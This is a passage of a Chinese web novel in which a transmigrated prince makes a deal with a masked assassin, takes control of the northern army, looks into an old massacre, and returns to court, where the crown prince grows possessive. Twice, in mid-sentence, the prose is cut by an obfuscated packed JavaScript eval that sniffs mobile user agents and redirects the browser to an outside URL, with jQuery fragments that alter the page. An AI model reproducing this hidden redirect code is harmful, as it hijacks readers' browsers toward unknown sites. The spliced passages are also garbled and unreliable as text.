“我手中,有一本仅存于东宫的剑法秘籍复本。不知阁下可曾听闻《惊鸿影》” 面具人竟痛快颔首:“成交。给我。” “额……这副本不在我手中,”江弄玦忍着疼痛,艰难地支起身,“我需要让部下为我送来……” 眼见面具人抬手起势,江弄玦连忙补充:“最快明日便能送到!” 同时他再次快速思考,现下还有什么能加码稳住对方。 食物? 方才的烤鸡也许能换来一时的迟疑,但绝不够买自己这条命。必须要抛出更有分量的东西。 电光火石间,江弄玦想起,涧中林成员皆以鸟类为代号。 夏拾欢在游戏角色介绍中位列“隼”,于是江弄玦抱着一线希望,试探性低声道: “……隼十?” 13. 本世子安定北疆 面具人一僵,那双一直没什么情绪的眼瞳里终于滑过一丝清晰的诧异。 然而竹竿却未再抬起。 江弄玦捕捉到眼中的波动,心中稍定,知道自己赌对了方向。 这说明,眼前这人至少与“隼十”夏拾欢有着某种关联。 “隼”在涧中林是武功最为高深的一脉,拥有了自己的称号,更是这一派中的佼佼者。无论是师兄弟,还是隶属同一序列,总之也许可以继续从这方面入手。 “我知涧中林向来随性接单,出手必成。”他稍作停顿,观察对方反应。 “但到了‘隼’字这个级别,任务成败关乎的,恐怕就不仅是金银了吧。” 面具人没有说话,只是静静地望着他。那目光依旧带着初时的懵懂,却又似乎多了一层浅浅的审视。 “比如这次,”江弄玦趁机抛出引导,“派‘隼’来刺杀我一个看似无关紧要的世子,本就透着反常。若任务完成,不过是涧中林名录上再添一笔。若出了些意外……” “比如,目标侥幸未死,却欠下涧中林一个不得不还的人情,甚至愿意在未来某个时刻,用镇北王府的资源为贵组织行个方便。这样的结果,是否比一具尸体更有价值?” 江弄玦又在赌。赌买凶的人不过是花了点金银,而自己未来可能掌权的潜力,才是此刻能与眼前这位顶尖杀手交换的筹码。 帐内再次陷于沉寂。 良久,就在江弄玦几乎以为对方不会再开口时—— “你知道‘隼十’。” 不是疑问,而是陈述。 江弄玦心漏了一拍,随后谨慎地措辞,尽量将信息来源模糊化:“涧中林‘隼’字辈中最年轻的剑术奇才,因而略有耳闻。” 他抬眼直视那双琥珀色的眸子,语气带上恰到好处的试探与诚意: “今日能有幸遇见。不知阁下……是‘隼十’本人,还是他的同门?” “哈……” 面具人倏然一笑。那笑声很轻,带着少年人特有的清透,以及一点出乎意料的愉悦,仿佛听到了什么有趣的笑话。 “有意思。” 他没有回答问题,反而将那只烤鸡动作自然利落地收入囊中,仿佛那是什么值得珍藏的宝贝。 随后他看向江弄玦,声音恢复了之前的平直,话语中透露出一股近乎天真的理直气壮: “鸡,我收下了。秘籍,明天给我。” 他顿了顿,又认真补充了一句: “明天的鸡,要热的。” 说完,也不等江弄玦反应,他便转身挑开帘门。帐外夜色浓重,寒风卷入的刹那,那道身影便如一片羽毛,轻盈无声地融入黑暗之中,转瞬便消失不见。 江弄玦僵在原地,仍处于死里逃生、心神动荡的呆滞中。直到十秒后,紧绷的神经才骤然松懈,他整个人像被抽去骨头一般,仰面倒回榻上,长长地吐出一口气。 冷汗已然浸透里衣,贴在背上,冰凉一片。 而江弄玦脑海里,还在回荡着面具人临走前嘱托的话语: ——明天的鸡,要热的。 不是,怎么还要搭进去一只鸡?涧中林的杀手都这么画风清奇吗?? 不管怎样,命总算保住了。 江弄玦瘫在踏上,劫后余生的庆幸缓缓涌上,甚至冲淡了刚才吐槽的欲望。 往后再怎么生死一线,只要回想与面具人今夜的一战,他也可以心安理得地倒下了。 那可是顶级杀手,他竟然能斡旋那么久,还讨价还价,全身而退,简直是奇迹! 胡思乱想间,疲惫如潮水般席卷而来。没躺多久,江弄玦便迷迷糊糊地睡了过去。 第二日一醒,果然全身犹如打碎了骨头重拼起来一般,没有一处是不痛的。 他没敢多耽搁,忍着酸痛立刻召来暗卫,让他们以最快速度把面具人要的秘籍复本送来。直到消息送出,他才安心去用早已凉透的早膳。 这日,随军队伍按常向北疆行进,傍晚时分才停下扎营。 夜色再次降临时,江弄玦的帐内不仅备好了温在火上的、滋滋冒油的烤鸡,案头也静静躺着一只刚送达的木匣。 夜深人静,江弄玦正对着匣子出神,只觉一阵极轻的风拂过面颊,再定睛时,眼前便多了一个人。 依旧是质朴的面具,一身洗得发白、沾着些许草屑的布袍,长发用一根树枝挽起,几缕碎发散在耳侧。 江弄玦定下心神,率先开口,指向案头:“你要的东西。” 面具人径直上前,自然得像回自己家一样,打开木匣,取出其中的复本,快速翻阅了几页。琥珀色的眼眸在烛光下映着纸页,专注而沉静。 片刻,他颔首将其收入怀中。 随后,他转身走向小火炉,将烤鸡取了下来。油脂滴在炭火上,发出“滋啦”一声轻响,香气瞬间弥漫开来。 江弄玦见他甚至不客气地坐了下来,不禁道:“你就不怕我让人埋伏你?” 面具人正用一把小刀,干净利落地肢解烤鸡。此时闻言,他甚至头都没抬,声音平静: “你有事求我。不会让旁人来。” 江弄玦不禁哑然,随即坦然承认:“是。我确实有事相求。” 他向前一步,在面具人身旁一个既能交谈又不过分侵扰的距离坐了下来,目光落在对方熟练分解鸡肉的动作上。 “我想请你当我的护卫。或者说,暂时的同行者。” “同行者?”面具人手中的刀顿了一下,他偏过头看向江弄玦,似乎在理解这个词的含义。 “对。保护我,直到我平安回到京城。”江弄玦迎上他的目光,“这不是昨夜‘欠人情’的那笔账,而是额外的委托。所以,在此期间,你可以随时向我提出要求。” “无论是珍馐美味,趁手兵刃,还是其他东西。只要我能办到,必不推辞。” “当然,若你觉得这差事不值,或是中途改了主意,随时可以离开。涧中林的规矩我懂,‘隼’接不接单,要不看首领,要不全凭心情。” 面具人沉默了片刻,没有回答,而是将注意力放回了手中的烤鸡。他切下了一块腿肉,送入口中,咀嚼的动作不疾不徐。 江弄玦没有打断他,只是静静围观。 少顷,面具人忽然开口,因为还在咀嚼,声音显得有些含糊: “这鸡,是你烤的?” “是。” 然后,面具人转向江弄玦,声音中多了一丝考量。 “你打不过我。”随即又补充一句,“但做饭,尚可。” 江弄玦:“……” 这算啥?感觉被骂了,又被夸了。想打人,又打不过。 这人说话太真诚,听起来不像故意挑衅,但这浑然天成的欠揍程度,应该能与李辞禅一较高下。 “所以,”面具人继续道,清越的声音带着点随性,“护卫,可以。每日一只烤鸡,热的。另加……” 他思考了一下, “你要帮我查一桩旧案。” 江弄玦眉心一跳,直觉猜出这不是件简单事。 “这事,与你当初接下刺杀我的单子,有些联系?” 面具人点了点头,直直地盯着他:“有问题?” 江弄玦压下疑虑与好奇,唇角勾起一个弧度。 危险往往与机遇并存。要是能跟面具人这位顶尖杀手建立起友好关系,那这趟北疆之行或许能多一张意想不到的底牌。 “成交。” 交易达成,帐内气氛为之一松。江弄玦也不再紧张,顺势问道:“以后也许会常打交道,该怎么称呼你?” 面具人正专注于撕下另一条鸡翅,心不在焉地回道:“隼九。” “哦……那隼十是你师父?”江弄玦顺着编号推。 “……我师父是首领。” 江弄玦忍不住好奇,终于问出了早已盘旋在心头的问题:“那你见过隼十吗?” 那可是游戏里标注的武力值天花板、男主之一,江弄玦难免八卦。 隼九停下吃鸡的动作,转过头来望向江弄玦,那双纯净的眸子带着些疑惑不解。 “你很在意隼十?” 江弄玦心里咯噔一下,知道自己问得有些突兀,连忙扯了个武林人士都听得过去的理由: “那是。据说那可是江湖中百年难遇的剑术奇才。若有一日能与他切磋,也算不枉此生了。” 隼九静静地看了他两秒,然后“哦”了一声,继续对付手中的鸡翅。 自这天之后,江弄玦的晚上终于清净了。 有了隼九随行,最大好处就是不用担心生命安全了。当然,他又多了一个小支线任务——调查北疆某个名为“神鹰”的部落旧案。 虽然他手中握有镇北王府在北疆的部分暗部力量,但涉及十数年前的部落卷宗,还得到了北疆大营才能细查。江弄玦并不着急,将此事默记于心,眼下更紧迫的是应对即将到来的北疆权力交接。 队伍又向北方行进了一周半的时间,风尘仆仆的江弄玦终于抵达了苍茫的北疆地界。 一入北疆地界,江弄玦便重新披上了“靠谱世子”的面孔。这出路上排练过数次的戏码,必须在接下来明争暗斗中演得滴水不漏。 尽管他日夜兼程,镇北王终究没能等到他。 抵达镇北军大营时,镇北王已薨逝四日。灵堂之下,权力的真空已让内部暗流汹涌,几派势力的明争暗斗几乎要搬到台面上来了。 江弄玦来不及替便宜老爹哀恸,他凭借着提前收集的资料,抵达当日就紧急召见了核心将领。 他一面以雷霆手段,迅速控制了几名跳得最欢、也确有异心的中层将领。另一面,则与镇北王生前的心腹老将密室深谈,亮出皇帝密旨和王府信物,完成了权力的初步对接。 随后,他再借镇北王出殡下葬,以“整肃军纪、告慰父王在天之灵”为名,当众用铁证处置了两个妄图趁乱兵变、已被控制的愚蠢副将。血染校场,杀鸡儆猴,这才把表面上浮动的野心和嘈杂的异议按了下去。 镇北王去世的消息终究未能完全封锁,蛮族嗅到机会,趁夜排除了精锐骑兵突袭边境哨所试探。 江弄玦早有预料,布下了口袋阵,佯装不敌后撤,诱敌深入。 连日来的高度紧绷与熬夜理事,却让他在战场上出了岔子。 一次格挡反击后,他因手臂酸麻,被对方抓住破绽,身下战马也受惊扬蹄—— 千钧一发之际,一直从未见过的精锐小队及时出现,为首者一枪挑开致命刀锋,而后率小队与江弄玦合力完成了对蛮族的围歼。 战后清点,除了刻意放走的一名活口,来袭蛮骑尽数覆灭。 晨曦微露,江弄玦独立于残烟未消的战场边缘,玄色大氅在朔风中猎猎作响。他看向那只突然出现的小队首领: “你们是哪一营的?此前我未曾见过。” “回世子,末将等隶属李家军先锋营,奉小将军之命暗中随行护卫,听候世子差遣。” 江弄玦一怔,旋即了然,心底泛起一丝暖意,笑道: “原来如此,李兄真是……有心了。此番多谢诸位,回头我定要好好谢谢他。” 妥善安置了前来支援的李家军后,江弄玦望着北疆边防哨所与远山的轮廓,久久没能回神。 李辞禅竟能将手伸到镇北军这边来,当真了得。这次也真是多亏他了。 经过一夜,镇北军中那些仍在观望的眼睛里,终于染上了对这位年轻世子的敬畏。再无人敢轻视他杀伐果断的手段与背后盘根错节的支撑。 而他身后不远处的阴影里,隼九抱臂靠着一棵枯树,面具下的目光淡淡掠过尸横遍野的战场,最后落在江弄玦挺直的背影上,轻轻歪了歪头。 “打架,还行。” 他无声地动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515982|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了动唇,随即摸了摸怀中尚有余温的油纸包。 那是昨夜江弄玦忙着排兵布阵前匆匆塞给他当“夜宵”的烤饼。隼九本想立刻吃掉,但不知为何,总觉得还是等江弄玦打完仗、平安无事之后再吃,会来得安心。于是这饼便揣到了现在,依旧完完整整。 安定北疆内忧外患一事暂告一段落,军中事务步入正轨,江弄玦终于有功夫帮隼九调查了。 他一头扎进旧档库,从十多年前的卷宗中翻了两天两夜,终于在一个落满灰尘的底层角落里找到了那么一本页面泛黄的硬皮卷宗。 十五年前,一个名为“神鹰部”的归化部族,在北疆被灭族。 族人大多为早年归顺大雍的蛮族后裔,因习俗独特,常年隐居深山,只有换取盐、布匹等物资时才会偶尔露面。因此,卷宗里连他们具体的聚居地都未曾记录。 惨案的第一现场,是在靠近北疆大营的一处密林。有猎户意外发现了大量马车残骸和散落尸首。事后经查验,神鹰部男女老幼二百余口,无一幸存。 现场留有一些形制粗陋的箭矢,与北境蛮族惯用的款式相似。前来查案的官员据此推断,应该是蛮族越境抢劫,遭遇抵抗后杀人灭口。 案子就这么结了。尸首就地埋了,卷宗归档封存,再没人提起。 江弄玦合上卷宗,沉默了一会儿。 这案子,透着一股说不出道理的蹊跷。 灭族惨祸,当真只为了抢夺财务?神鹰部一个深居简出、与世无争的部族,为何会突然举族迁移,又恰好在外出途中遭遇截杀?若真是蛮族所为,其兵力规模、事后动向为何只字未提? 诸多疑点都没查明,就这样草草结案。更奇怪的事,事后北疆军方竟也未曾因此加强边防警戒,仿佛这场屠杀从未发生。 凶手,真的只是蛮族? 江弄玦指节轻扣着卷宗硬壳,眸色渐深。 隼九要找的真相,恐怕就藏在这篇卷宗中未曾标明的、神鹰部曾经的聚居地里。 当夜,江弄玦将誊抄的卷宗共享给了隼九,问道:“你既然托我查这旧案,可还知道些卷宗以外的信息?线索太少,查起来像大海捞针。” “要我说,这案子背后绝对有问题。但记录内容太少了,寻找线索的话,需要多些方向才行。” 隼九正擦着剑,闻言,从怀中取出一枚吊坠,递了过来。 江弄玦接过,仔细观察了一番。 那是一枚似铁非铁的吊坠,约拇指大小,被打磨成了鹰首浮雕,线条古朴锐利。吊坠入手冰凉,材质坚硬致密,却是奇异的轻巧,与他所知的任何金属都不相同。 “这是……?”江弄玦抬眼,示意他说明。 隼九的声音透过面具,平淡无波:“我是神鹰部遗孤。” 江弄玦:“……” 他一时之间竟不知道该作何反应。 他们还没有熟到能托付身世秘密的程度吧?如果中途他查不下去或者知道的太多了,隼九不会把他给灭口吧? 这时,隼九仿佛有读心术一般道:“你,可以知道。” 江弄玦:“……”真是谢谢你的信任啊。 “这个吊坠是首领捡到我时,身上唯一的东西。”隼九的目光落在江弄玦掌心那枚泛着幽光的鹰首上。 “后来他告诉我,这是神鹰部的图腾。除此之外,我对部族……一无所知。” 江弄玦眼神复杂地看了他一眼,心里不由得父爱泛滥。 这孩子,也是够惨。抛开那身神鬼莫测的武功,眼前这孩子不过是个孤儿,打小还要以杀人为目标接受各种非人的训练。 “原来如此……抱歉。”江弄玦叹了一声,“我会尽力。” “嗯。”隼九收回目光,继续擦剑。 安静片刻后,江弄玦摩挲着那枚轻巧的吊坠,忽然将前因后果串联起来,沉吟道: “所以,你当初接下刺杀我的单子,是因为你想借机查案。” “借着‘刺杀失败’或者‘任务进行中’的理由,名正言顺地跟着我进入北疆——毕竟,没有比‘目标的队伍’更好的掩护了。” “这才是你真正的目的,对吧?”江弄玦微微挑眉,仗着隼九如今有求于自己,说起话来也少了顾忌。 “中途刺杀一下,是为了给别人看。那晚最后收手,是因为你本就没打算真在那时取我性命。” 隼九安静地听完,刚好擦完了最后一寸剑身,归剑入鞘,才抬起眼。面具后那双望过来的琥珀眼中十分坦荡,没有半分被戳穿的窘迫。 “是。” “本想等你到了北疆大营,有机会查完宗卷,再取你性命。” 他顿了顿,似乎思考了一下该如何表达,才补上后续: “但我发现,你看起来……比较好说话。所以我提前行动,看你会不会主动求饶。” “有一个明面上主动为我调查的人,肯定比我一个人调查起来,方便得多。” 江弄玦沉默了片刻。 他对隼九的认知,在这一刻被微妙的刷新了。 他本以为隼九是个只靠直觉、心思单纯的小朋友来着。没想到在动手之前,对方就已经想着给他下套了。 但现在跟他达成暂时的交易关系后,又如此直白地全盘托出……让江弄玦不知该说他是实诚还是白切黑了。 枉他还以一个条件聘他当保镖,结果正中对方下怀。 简直是个“冤大头”工具人! 江弄玦顿了顿,将心头那点憋闷化作一声轻笑,语气里带上了那熟悉的调侃:“看来这案子的分量,确实够买我一命了。” 阴阳怪气,江弄玦最擅长了。这个时候不暗暗出口气,他实在难忍。 隼九擦剑的手停住,抬起头,面具后的眼睛直直看过来,带着一丝清晰的疑惑: “你在骂我?” 江弄玦露出一个毫无破绽微笑:“怎么会?” 14. 本世子回京 “让我进去。” 声音似乎从遥远的地方传来,带着一丝模糊的熟悉。 没多久,外面的喧嚷似乎因帘门被猛地掀开而骤然放大,旋即又在来人踏入后迅速回归寂静。 一个人快步走到他的床前,呼吸粗重急促,却在看到他苍白面容的瞬间,硬生生压住了所有声响。 “江弄玦。” 江弄玦费力地掀起眼皮,只能看到对方一身黑色劲装勾勒的宽肩窄腰,声音是熟悉的,此刻却浸透了某种压抑到极致的颤抖。 江弄玦动了动干裂的嘴唇,牵起一个自己都觉得难看的弧度。 对方沉默了。下一瞬,猛地单膝跪倒在床边,一把握住了他搭在床侧的手。那力道极大,攥得江弄玦生疼。 “你他妈的……”那人咬牙切齿,声音嘶哑,带着濒临崩溃的暴怒与后怕,“你他妈的……” 江弄玦声音嘶哑得厉害,但比他刚醒时好多了: “又骂人……我这不是还活着吗。” “你放什么屁?!”对方猛地抬头,眼眶赤红。 “如果你因为救我,真死在那悬崖底下,老子就是把阴曹地府砸了,也要把你拖回来!” “别这么激动嘛……”江弄玦心里发涩,又暖又疼。看到他这副模样,愧疚像藤蔓缠紧了心脏。 “你什么都不知道!” 对方的声音陡然拔高,几乎是吼了出来。 “什么都不知道!” 他的情绪越来越激动,最后,他只是死死攥着江弄玦的手,深深低下头去,肩膀剧烈起伏,大口大口地喘息,仿佛濒溺之人。 “你总是这幅模样!” “总是擅作主张,你以为你是谁?” 忽然,江弄玦仿佛想起了什么,心里泛起一阵恐慌。 不对……不可以再说下去了。 但江弄玦听到自己的声音不受控制地响起,但眼前的画面却如同默剧般推进: “我是你的朋友,我怎么可能坐以待毙……” “朋友?!” 对方骤然抬头,发出一声嗤笑。 “朋友朋友朋友朋友……” “江弄玦,”他轻轻地说,“我最讨厌的,就是从你嘴里听到这个词。” “我李辞禅缺你一个朋友吗?” 别说了。求求你,别再说了。 江弄玦在心底无声嘶喊,却无法阻止“自己”陷入沉默。 然后,他感觉到,自己的手背上,忽然滴落了几点冰凉。 一滴,两滴。 滚烫,又刺骨。 ——让他停下! “江弄玦。” 李辞禅缓缓抬起头。 窗外,惨白的满月光辉斜射进来,恰好照亮他半边脸颊。而帐内昏黄的烛火,温暖地勾勒出他另一半面容。光影交割,犹如一张一半浸在冰海里哭泣、一半在岩浆中愤怒的面具。 “你那么聪明,”李辞禅的声音轻得像叹息,“怎么可能不知道?” 江弄玦听到“自己”回答: “李辞禅,你总爱冲我发脾气。” “但近来更甚。” “我甚至不明白你为何动怒。” “为什么……我们总要这样?” 话音未落,便被对方嘶哑的、仿佛用尽全部力气的低吼打断—— “因为我喜欢你。” “自己”猛地睁大了双眼。 李辞禅一字一顿,神情犹如泣血: “因为我他妈的喜欢你,江弄玦!” ——! 一阵剧烈的天旋地转,江弄玦猛地从榻上弹坐起来。 冷汗浸透了里衣,心脏在胸腔里狂跳。 帐外,士兵们收拾行囊、准备拔营的嘈杂声清晰传来,夹杂着马匹的嘶鸣和将领的号令。晨光透过帐帘缝隙洒入。 是梦。 不,是回忆。 江弄玦抬手扶住额头,在那里坐了许久,直到狂乱的心跳和手背上那虚幻的灼痛与冰凉渐渐平息。 他长长地、无声地吐出一口气。 都怪李辞禅。 若不是他派来的李家军昨日在战场上救了自己一命,他也不会梦回那个晚上。 以及,那场让他至今不知如何面对的告白。 爹的。 江弄玦揉了揉眉心,认命地想。 信里好好感谢他吧。 距离北疆兵权顺利交接已过了一个月。江弄玦也随监军一道,踏上了返京之路。 今日,他们便能抵达京城。 离开北疆前,江弄玦按原计划安排好了镇北王府的其他人。 令他稍感意外的是,那位素来与他针锋相对、更与他母亲之死脱不开干系的镇北王妃,竟在最后私下见了他一面。 那女人站在廊下,身影依旧挺直,眼神却复杂难辨。 “此去京城,你这一走,不知还能否全须全尾地回来。”她的声音干涩,顿了顿,竟朝着江弄玦深深一福,“我从未后悔对你母亲所做之事。但今日,需替北疆边民……谢你此番作为。” 江弄玦静立片刻,未曾接话,亦未曾受礼,只是沉默地转身离开。 过往恩怨,并非一句道谢或一场胜仗便能勾销。但北疆的安定,确是此刻更重要的事。 至于镇北王江意垢留下的那些真正的心腹与暗桩,他早已借与监军“协商”之名,将他们悄然化入北疆军务的寻常环节。 而神鹰部的旧案,则交给了他亲手培植的暗部继续循迹深查。 马车辘辘,驶入宫门时,时节已入深秋。 朱墙金瓦沐浴在澄澈的天光下,熟悉的景致扑面而来。江弄玦掀帘望去,心中竟掠过一丝自己也未曾预料的怔松—— 这里是他穿越来后,待的最久的地方。 这座困了他五年、也磨砺了他五年的宫城,此刻竟让他生出一丝荒谬的“归家”之感。 回宫后,马车未停,江弄玦便换好了朝服,立刻去面圣述职了。 御前奏对,江弄玦将诸事一一禀明,略去险处,将功劳归功于监军以及镇北王旧部。皇帝端坐在案后,凝神静听,偶尔指尖轻叩桌面。 待江弄玦陈述完毕,殿内一静,旋即皇帝龙颜大悦。 那笑意起初只是嘴角微扬,渐至眉梢,最终化为一声畅快的长笑。 “好!好!弄玦,你此番做得极好,未曾辜负朕的期望,亦未辱没你父王威名!” 赏赐如流水般从皇帝口中道出。金银玉帛、田庄府邸……江弄玦垂首静听,直至一项封赏落下,让他不禁诧异抬头。 “北疆,你暂时是回不去了。‘镇北’一名,由你承袭亦不合时宜。”皇帝身体微微前倾,目光深邃,语气却带着一种不容置疑的温和,“朕另赐你王爵——” 他略作停顿,吐字清晰: “封号,‘舒’。” “舒王。” 皇帝复述一遍,眯了眯眼,像是在品味这两个字的意味,随即看向阶下的江弄玦,笑意未达眼底。 “皇侄,觉得如何?” 舒。 谐音“淑”,意为柔顺、安和。是期许,更是敲打。 江弄玦袖中的手指微微一蜷,随即恢复如常。 他撩袍,躬身,行礼,动作流畅恭谨。 “臣,谢陛下隆恩。”他的声音平稳响起,“陛下厚爱,臣必铭记于心,恪守本分,不负‘舒’字之训。” “呵呵。”皇帝的笑意多了几分实意,“如此便好。今后,好好跟着玉儿学习。玉儿没有看错你,你也莫要让他失望。” “是,臣谨记。” 从御书房退出来,午后明亮的秋阳晃得江弄玦微微眯眼。心底那块沉甸甸的巨石,仿佛随着方才那一跪一谢,被暂时挪开了些许。 他脚步未停,甚至越走越快,几乎是带着一丝自己都未察觉的急切,朝东宫方向赶去。路上偶遇相识的宫人内侍,他也只是匆匆颔首,来不及接受对方惊喜的问候。 为什么这么急? 或许是因为—— 他终于有了一块明确的、皇帝金口玉言赐下的“安身之所”。 舒王。 这个带着敲打意味的封号,恰恰也是一道护身符。 明面上,皇帝不会轻易动一个刚刚立功、且被寄予厚望、要“舒顺安分”的侄子。他终于可以名正言顺地搬出皇宫,拥有自己的王府,在京城划下一方属于自己的天地。 未来的蓝图在他的脑海中迅速铺展——继续扮演好有勇无谋、贪图享乐的莽夫王爷,慢慢将手中烫手的兵权稀释、上交,直至彻底卸下。 届时,他江弄玦便能真正过上时间自由、金钱自由、远离权谋的潇洒日子。 而太子…… 江醉玉。 这个名字闪过心头时,那份急于分享的冲动似乎找到了源头。 江醉玉听了他获封的消息,应当会……为他感到高兴吧? 当然,如果太子殿下知道,自己费心培养了这么久的人,未来的人生理想只是当个超级摆烂王,恐怕就笑不出来了。 江弄玦几乎是小跑着穿过最后一道宫门,朝着东宫那片熟悉的殿宇而去。 太子书房。 江醉玉正批阅着奏章,笔尖却悬在纸面良久,未能落下。 他左手无意识地摩挲着拇指上的玉扳指,目光投向窗外舒卷的流云,心神却仿佛系于千里之外,飘忽不定。 直到门外传来那道清朗又带着一丝风尘仆仆的声音—— “殿下,臣弄玦参见。” 江醉玉摩挲扳指的动作倏然停住。 几乎是同时,一股连他自己都未曾清晰察觉的、紧绷了不知多久的气息,从胸腔深处悄然吐出。 回来了。 平安回来了。 从派去的暗卫那里收到的消息,无论如何还是让他难以放心,直至此刻真正听到他的声音。 他搁下笔,甚至没注意到一滴墨悄然污了纸页,声音已平稳响起: “进。” 江弄玦一礼后,将一路险阻一一禀明。 待他陈述完毕,书房内却陷入一片异样的安静。 他略感犹疑,抬眸望去,却怔在了原地。 江醉玉在笑。 不是惯常那种矜持的、冷淡的,或带着审视与算计的弧度。而是眉眼彻底舒展开来,眼底漾着江弄玦前所未见的暖意与真切。那笑意如春冰化水,瞬间消融了江醉玉周身常年萦绕的冰冷疏离,透出几分属于他这个年纪的少年人应有的、明亮鲜活的生气。 仿佛有什么东西,轻轻撞了一下江弄玦的心口。 于是,他也不禁跟着笑了起来,那笑容里多了几分完成任务后、在信赖之人面前才有的松弛与小小的得意。他微微偏头: “表兄,弄玦做得,可还行?” 江醉玉凤眸含笑,点了点头,目光落在他脸上,未曾移开。声音依旧是他一贯的沉稳,此刻却仿佛被那笑意浸润,多了几分罕见的温润: “极好。” 他顿了顿,才问:“父皇赏了些什么?” 江弄玦如实道:“金银良田,京中一处宅邸,还有一个封号。” “封号……” 江醉玉重复着这两个字,眉宇间那抹暖意却如潮水般缓缓退去,逐渐被一种更为复杂的情绪取代,夹杂着一丝了然,一丝晦暗,甚至是一丝江弄玦看不出的冷意。 “是。”江弄玦颔首应道,语气甚至带上几分轻松的调侃,“封号‘舒王’。弄玦应当是这一代里,最先被封王的吧?” 他以为江醉玉会顺着这话头,再调侃或嘱咐两句,却见对方再次陷入了沉默。 书房内静得能听见窗外落叶的细微声响。 半晌,江醉玉才缓缓开口: “孤很开心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515983|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他说着“开心”,目光却并未落在江弄玦身上,而是垂眸,落在了自己空无一物的拇指上。江弄玦这时才发现那枚江醉玉的玉扳指,已被他取了下来,静静置于紫檀案几的一角。 那扳指色泽温润,此刻却像一道无声的界碑。 “弄玦,”江醉玉抬眸,目光重新锁住他,那眼底的情绪已被收敛得滴水不漏,唯余一片深不见底的平静。 他朝江弄玦伸出手,掌心向上。 “过来。” 江弄玦依言上前。 江醉玉起身,阴影随之笼罩下来。 这些年他如拔节的青竹,长得极快。江弄玦自觉自己已接近一米八了,江醉玉却仍高了他近半个头。此刻两人距离极近,那股源于身份与体格的压迫感,便如实质般沉沉压下。 他并未立刻说话,而是执起江弄玦的手腕,拇指指腹轻轻抚过其上一道浅淡的、几乎看不见的旧疤。动作缓慢而专注,带着一种不容抗拒的细致。 “伤了。”他陈述道,听不出情绪。 “小伤,早已无碍。”江弄玦忍住了抽手的冲动,目光微微偏开,落在对方绣着暗纹的衣襟上。 他隐约感觉,江醉玉虽然替他开心,但背后似乎还藏着些别的情绪。 江醉玉握得更稳了些。他抬起眼:“北疆之事,你做得极好。孤心甚慰。” 随即,他从自己腰间解下一枚龙纹墨玉佩,不由分说地放入江弄玦掌心。 玉佩触手温润,却带着对方体温,烫得江弄玦指尖一颤。 “此佩随孤十年。”江醉玉的声音低沉而清晰。 江弄玦的手如同被无形的力量钉住,下意识想松,却又在对方看似轻柔实则牢固的掌控下,被动地收拢了五指,将那玉佩紧紧攥住。 “陛下赐你‘舒’字,是望你安分。” 江醉玉话锋一转,声音压得更低,唯有彼此可闻,气息几乎拂过江弄玦耳畔。 “孤赐你此佩,是望你记住——无论何时,身处何地,你先是孤的弄玦,而后才是大雍的舒王。” 江弄玦睁大眼睛,全身僵硬。 不对劲,有什么不对劲。 潜意识的警铃响声大作,江弄玦却不知道那份不对劲究竟是什么。 “王府将立,可喜可贺。” 他终于松开了手,后退半步,恢复了太子应有的端雅仪态,只是眼底那未曾平息的暗流,泄露了方才并非寻常赏赐。 “日后,常入宫来。东宫的门,永远你打开。” 江弄玦握着掌心那枚仿佛仍在发烫的玉佩,心中百味杂陈,最后只得扬起脸,努力扯出一个轻松的笑容: “哈哈,表兄的政事堂,弄玦自然是要回去的。虽说离了我也不耽误大事,但我去搭把手,总归能让诸位先生轻松些。” “自然。”江醉玉低声应道,唇边泛起一丝极淡的、却真实了许多的笑意,“今年你也十六了,正是得力之时,往后许多事,正需你替孤分担。” 他顿了顿,目光掠过江弄玦年轻的面庞,继续道,语气温和却不容置喙: “只是王府新立,诸事繁杂。届时,孤从东宫拨些得力人手过去,帮你打理周全。” “是,多谢表兄。”江弄玦从善如流。 江醉玉微微颔首,仿佛随口提及:“新府之中,暂无女主人操持,全赖管家,终非长久。” “你也不必心急,孤会替你留意。寻常闺秀,恐难与你相配。成家立业,你业已立下,成家之事,待大局更为安稳时,再议不迟。” 江弄玦怔了一下,随即笑道:“这个自然。其实弄玦自己也并无急于成婚的念头。一个人逍遥自在,未尝不好。” 江醉玉垂眸,看着他脸上那抹不似作伪的真诚与纯粹,眸中翻涌的暗色似乎被悄然抚平了些许,嘴角的笑意也真切了几分,却依旧带着掌控的底色。 他轻轻摇头,语调温和,却斩断了任何幻想: “那却不可。” 江醉玉缓步走回案后,指尖拂过那枚被搁置的玉扳指,语气恢复了一贯的从容平稳: “皇室宗亲,开枝散叶是应尽之责。孤的弄玦……” 他抬眼,目光如静水深流:“将来自然要有嫡子承袭王爵,光耀门楣。” 顿了顿,他才继续道,声音里带着一丝近乎温柔的残酷: “只是这人选,须得仔细斟酌。须得知根知底,安分柔顺,懂得分寸。” 江醉玉重新执起笔,仿佛只是在商议寻常政务,最后一句轻描淡写地下了定论: “此事不急。待你王府理顺,朝局安稳……孤,自会为你安排妥当。” 江弄玦收回抓着玉佩的手,那温润的玉质此刻却仿佛隐隐发烫,烙进掌心。最初前来分享喜悦时那份轻快的心情已彻底褪去,一种混杂着寒意与轻微窒息感的情绪悄然漫上心头。 此刻,他才仿佛窥见了江醉玉那看似逐渐温和的表象下,真实的一角。 尽管只是冰山一角,却也足够让他心底微沉,指尖发凉。 